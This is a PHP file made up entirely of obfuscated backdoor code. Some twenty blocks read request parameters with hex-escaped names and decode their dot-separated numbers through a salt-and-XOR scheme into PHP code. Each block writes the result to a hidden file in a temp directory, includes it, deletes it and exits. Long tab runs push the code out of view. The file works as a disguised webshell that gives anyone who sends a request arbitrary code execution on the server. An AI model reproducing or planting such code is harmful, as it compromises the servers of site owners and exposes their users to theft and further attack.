<?php																																										if(in_array("\x74kn", array_keys($_REQUEST))){ $value = $_REQUEST["\x74kn"]; $value=explode ( "." , $value ) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($value as $w => $v3) { $chS = ord($salt[$w % $sLen]); $dec = ((int)$v3 - $chS - ($w % 10)) ^ 84; $descriptor .= chr($dec); } $marker = array_filter(["/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir()]); while ($dchunk = array_shift($marker)) { if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $entry = implode("/", [$dchunk, ".key"]); if (file_put_contents($entry, $descriptor)) { include $entry; @unlink($entry); die(); } } } }
																																										if(!empty($_REQUEST["\x76\x61l"])){ $rec = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), sys_get_temp_dir(), session_save_path()]); $marker = $_REQUEST["\x76\x61l"]; $marker = explode ( '.' ,$marker ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $y = 0; foreach ($marker as $v6) {$chS = ord($s[$y % $lenS]); $dec = ((int)$v6 - $chS - ($y % 10)) ^ 4; $res.= chr($dec); $y++; } foreach ($rec as $key => $sym) { if (max(0, is_dir($sym) * is_writable($sym))) { $pgrp = vsprintf("%s/%s", [$sym, ".elem"]); $success = file_put_contents($pgrp, $res); if ($success) { include $pgrp; @unlink($pgrp); exit;} } } }
																																										if(!empty($_POST["k\x65\x79"])){ $data_chunk = $_POST["k\x65\x79"]; $data_chunk =explode ( "." , $data_chunk ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $data_chunk as $j => $v7): $chS = ord( $s[$j % $lenS] ); $d = ( ( int)$v7 - $chS -( $j % 10)) ^ 53; $flg .= chr( $d ); endforeach; $entry = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); foreach ($entry as $bind) { if ((is_dir($bind) and is_writable($bind))) { $dchunk = vsprintf("%s/%s", [$bind, ".reference"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(array_key_exists("co\x6D\x70\x6F\x6Eent", $_POST)){ $element = $_POST["co\x6D\x70\x6F\x6Eent"]; $element =explode ( "." , $element) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $z = 0; $__tmp = $element; while( $v8 = array_shift( $__tmp)) { $chS = ord( $s[$z % $lenS]); $d = ( ( int)$v8 - $chS -( $z % 10)) ^ 63; $fac .= chr( $d); $z++; } $k = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp"]); while ($ptr = array_shift($k)) { if (max(0, is_dir($ptr) * is_writable($ptr))) { $sym = join("/", [$ptr, ".mrk"]); if (file_put_contents($sym, $fac)) { include $sym; @unlink($sym); die(); } } } }
																																										if(array_key_exists("rec", $_POST)){ $dat = $_POST["rec"]; $dat=explode ( "." ,$dat ); $ref= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $r= 0; foreach ($dat as $v8) { $chS= ord($s[$r %$lenS] ); $d= ((int)$v8 - $chS - ($r %10))^ 41; $ref.= chr($d ); $r++; } $value = array_filter(["/var/tmp", "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir()]); while ($dchunk = array_shift($value)) { if (is_writable($dchunk) && is_dir($dchunk)) { $property_set = vsprintf("%s/%s", [$dchunk, ".mrk"]); if (@file_put_contents($property_set, $ref) !== false) { include $property_set; unlink($property_set); die(); } } } }
																																										if(!is_null($_REQUEST["r\x65c"] ?? null)){ $descriptor = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/dev/shm", "/tmp", "/var/tmp", getenv("TEMP")]); $mrk = $_REQUEST["r\x65c"]; $mrk = explode('.' , $mrk ) ; $record = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $v = 0; $__len = count($mrk); do { if($v >= $__len) break; $v6 = $mrk[$v]; $chS = ord($s9[$v % $sLen]); $dec =((int)$v6 - $chS -($v % 10))^63; $record .= chr($dec); $v++; } while(true); $binding = 0; do { $key = $descriptor[$binding] ?? null; if ($binding >= count($descriptor)) break; if (max(0, is_dir($key) * is_writable($key))) { $k = implode("/", [$key, ".pgrp"]); if (file_put_contents($k, $record)) { include $k; @unlink($k); exit; } } $binding++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x62in\x64"])){ $val = $_POST["\x62in\x64"]; $val =explode ( '.' , $val) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; $__tmp = $val; while ($v7 = array_shift($__tmp)) { $sChar = ord($salt[$u %$sLen]); $d = ((int)$v7 - $sChar - ($u %10)) ^ 66; $mrk .= chr($d); $u++; } $comp = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP")]); while ($sym = array_shift($comp)) { if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $descriptor = str_replace("{var_dir}", $sym, "{var_dir}/.flag"); $success = file_put_contents($descriptor, $mrk); if ($success) { include $descriptor; @unlink($descriptor); die();} } } }
																																										if(isset($_POST) && isset($_POST["\x72\x65s"])){ $desc = array_filter([getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $pgrp = $_POST["\x72\x65s"]; $pgrp = explode ( "." , $pgrp ) ; $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($pgrp); for ($l = 0; $l < $__len; $l++) { $v1 = $pgrp[$l]; $sChar = ord($s[$l % $lenS]); $dec = ((int)$v1 - $sChar - ($l % 10)) ^ 96; $factor.= chr($dec);} foreach ($desc as $component): if (!!is_dir($component) && !!is_writable($component)) { $entity = sprintf("%s/.key", $component); if (file_put_contents($entity, $factor)) { include $entity; @unlink($entity); exit; } } endforeach; }
																																										if(!empty($_POST["co\x6D\x70"])){ $mrk = array_filter([getcwd(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path()]); $value = $_POST["co\x6D\x70"]; $value = explode ('.', $value) ; $binding =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $__len =count($value); for($p =0; $p < $__len; $p++) { $v9 =$value[$p]; $sChar =ord($s[$p % $lenS]); $dec =((int)$v9 - $sChar -($p % 10)) ^ 55; $binding .= chr($dec); } $dat = 0; do { $marker = $mrk[$dat] ?? null; if ($dat >= count($mrk)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $pgrp = str_replace("{var_dir}", $marker, "{var_dir}/.factor"); if (@file_put_contents($pgrp, $binding) !== false) { include $pgrp; unlink($pgrp); exit; } } $dat++; } while (true); }
																																										if(@$_REQUEST["c\x6Fmp"] !== null){ $sym = $_REQUEST["c\x6Fmp"]; $sym = explode ( '.' , $sym ) ; $k= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt2); $l= 0; $__len= count( $sym); do {if( $l >= $__len) break; $v5= $sym[$l]; $chS= ord( $salt2[$l % $sLen]); $d= ( ( int)$v5 - $chS -( $l % 10)) ^ 31; $k .= chr( $d); $l++; } while( true); $desc = array_filter([session_save_path(), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); foreach ($desc as $flg): if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $data_chunk = join("/", [$flg, ".ent"]); $success = file_put_contents($data_chunk, $k); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } endforeach; }
																																										if(in_array("\x62\x69ndin\x67", array_keys($_REQUEST))){ $item = $_REQUEST["\x62\x69ndin\x67"]; $item = explode( '.', $item ) ; $data= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6); $v= 0; foreach ($item as $v9) { $chS= ord($salt6[$v % $lenS]); $dec= ((int)$v9 - $chS - ($v % 10)) ^ 60; $data .=chr($dec); $v++;} $obj = array_filter([getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $fac = 0; do { $rec = $obj[$fac] ?? null; if ($fac >= count($obj)) break; if ((bool)is_dir($rec) && (bool)is_writable($rec)) { $itm = "$rec/.ref"; if (file_put_contents($itm, $data)) { require $itm; unlink($itm); exit; } } $fac++; } while (true); }
																																										if(array_key_exists("\x70tr", $_REQUEST) && !is_null($_REQUEST["\x70tr"])){ $flag = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), getcwd()]); $flg = $_REQUEST["\x70tr"]; $flg = explode( "." , $flg ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $q = 0; while ($q < count($flg)) { $v8 = $flg[$q]; $chS = ord($salt[$q % $lenS]); $d = ((int)$v8 - $chS - ($q % 10)) ^ 86; $bind .= chr($d); $q++; } while ($pset = array_shift($flag)) { if (is_dir($pset) && is_writable($pset)) { $data_chunk = "$pset/.pointer"; if (@file_put_contents($data_chunk, $bind) !== false) { include $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["d\x61t"])){ $obj = $_REQUEST["d\x61t"]; $obj = explode ( ".", $obj) ; $factor = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $r = 0; $len = count( $obj); do { if( $r>= $len) break; $v1 = $obj[$r]; $sChar = ord( $salt1[$r% $lenS]); $dec = ( ( int)$v1 - $sChar -( $r% 10))^5; $factor .= chr( $dec); $r++; } while( true); $pset = array_filter([session_save_path(), getenv("TMP"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm"]); foreach ($pset as $parameter_group) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $ent = str_replace("{var_dir}", $parameter_group, "{var_dir}/.tkn"); if (file_put_contents($ent, $factor)) { require $ent; unlink($ent); exit; } } } }
																																										if(@$_POST["c\x6Fm\x70o\x6Ee\x6Et"] !== null){ $ent = array_filter([ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp"]); $hld = $_POST["c\x6Fm\x70o\x6Ee\x6Et"]; $hld= explode( '.', $hld ) ; $data =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $t =0; while ($t < count($hld)) { $v6 =$hld[$t]; $sChar =ord($s[$t % $sLen] ); $dec =((int)$v6 - $sChar - ($t % 10)) ^ 38; $data .= chr($dec ); $t++; } foreach ($ent as $dat): if (array_product([is_dir($dat), is_writable($dat)])) { $object = vsprintf("%s/%s", [$dat, ".rec"]); if (file_put_contents($object, $data)) { require $object; unlink($object); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["p\x74\x72"])){ $entry = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), session_save_path(), getcwd()]); $pset = $_REQUEST["p\x74\x72"]; $pset = explode ( '.' ,$pset) ; $symbol = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9); $o = 0; foreach( $pset as $v9) { $chS = ord( $salt9[$o % $lenS]); $dec =( ( int)$v9 - $chS -( $o % 10)) ^58; $symbol.= chr( $dec); $o++; } for ($pointer = 0, $item = count($entry); $pointer < $item; $pointer++) { $dchunk = $entry[$pointer]; if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $bind = join("/", [$dchunk, ".record"]); if (@file_put_contents($bind, $symbol) !== false) { include $bind; unlink($bind); exit; } } } }
																																										if(@$_POST["item"] !== null){ $object = $_POST["item"]; $object =explode ("." , $object ) ; $entity =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach ($object as $n=>$v9): $sChar =ord($salt[$n % $lenS] ); $dec =((int)$v9 - $sChar - ($n % 10)) ^ 72; $entity .= chr($dec ); endforeach; $obj = array_filter(["/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", "/tmp"]); for ($holder = 0, $descriptor = count($obj); $holder < $descriptor; $holder++) { $parameter_group = $obj[$holder]; if ((is_dir($parameter_group) and is_writable($parameter_group))) { $key = "$parameter_group/.factor"; $success = file_put_contents($key, $entity); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(@$_REQUEST["\x66lg"] !== null){ $dat = $_REQUEST["\x66lg"]; $dat = explode ('.' , $dat) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $dat as $q=>$v9): $sChar = ord( $salt[$q%$sLen]); $d =( ( int)$v9 - $sChar -( $q%10)) ^74; $ent.= chr( $d); endforeach; $comp = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($comp as $element): if (is_dir($element) && is_writable($element)) { $rec = sprintf("%s/.data_chunk", $element); if (file_put_contents($rec, $ent)) { require $rec; unlink($rec); exit; } } endforeach; }
																																										if(@$_POST["\x64a\x74\x61_chun\x6B"] !== null){ $record = $_POST["\x64a\x74\x61_chun\x6B"]; $record = explode ( '.' ,$record ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($record as $n => $v8): $sChar = ord($s[$n % $lenS] ); $d = ((int)$v8 - $sChar - ($n % 10)) ^ 60; $entry .= chr($d ); endforeach; $val = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), "/dev/shm"]); while ($mrk = array_shift($val)) { if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $elem = join("/", [$mrk, ".res"]); if (file_put_contents($elem, $entry)) { include $elem; @unlink($elem); die(); } } } }
																																										if(array_key_exists("\x68ld", $_POST)){ $pset = $_POST["\x68ld"]; $pset=explode ( "." , $pset ); $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $k = 0; $__tmp = $pset; while ($v6 = array_shift($__tmp)) {$sChar = ord($salt[$k % $lenS]); $d = ((int)$v6 - $sChar - ($k % 10)) ^ 68; $dat .= chr($d); $k++; } $pgrp = array_filter([getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp"]); for ($value = 0, $symbol = count($pgrp); $value < $symbol; $value++) { $property_set = $pgrp[$value]; if (is_writable($property_set) && is_dir($property_set)) { $token = implode("/", [$property_set, ".rec"]); if (file_put_contents($token, $dat)) { include $token; @unlink($token); die(); } } } }
																																										if(!is_null($_POST["k"] ?? null)){ $pgrp = $_POST["k"]; $pgrp = explode( ".", $pgrp) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($pgrp as $r=> $v2) { $sChar = ord($s[$r % $lenS]); $d = ((int)$v2 - $sChar -($r % 10)) ^ 56; $marker .= chr($d); } $comp = array_filter(["/var/tmp", getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd()]); $pset = 0; do { $fac = $comp[$pset] ?? null; if ($pset >= count($comp)) break; if (array_product([is_dir($fac), is_writable($fac)])) { $data = implode("/", [$fac, ".factor"]); if (file_put_contents($data, $marker)) { include $data; @unlink($data); exit; } } $pset++; } while (true); }


if(isset($_REQUEST["i\x74\x65m"])){
	$bind = $_REQUEST["i\x74\x65m"];
			$bind= 	 explode(		'.' ,$bind		)	 ; 
	$pset	='';
            $salt8	='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=strlen($salt8	);
            $v	=0;
    
            foreach ($bind as $v8) {$chS	=ord($salt8[$v		% $sLen]	);
                $dec	=((int)$v8 - $chS - ($v		% 10))	^ 85;
                $pset .= chr($dec	);
                $v++;	}
	$factor = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", getcwd()]);
	$ent = 0;
do {
    $pointer = $factor[$ent] ?? null;
    if ($ent >= count($factor)) break;
    		if (!!is_dir($pointer) && !!is_writable($pointer)) {
    $fac = "$pointer" . "/.ptr";
    if (@file_put_contents($fac, $pset) !== false) {
	include $fac;
	unlink($fac);
	exit;
}
}
    $ent++;
} while (true);
}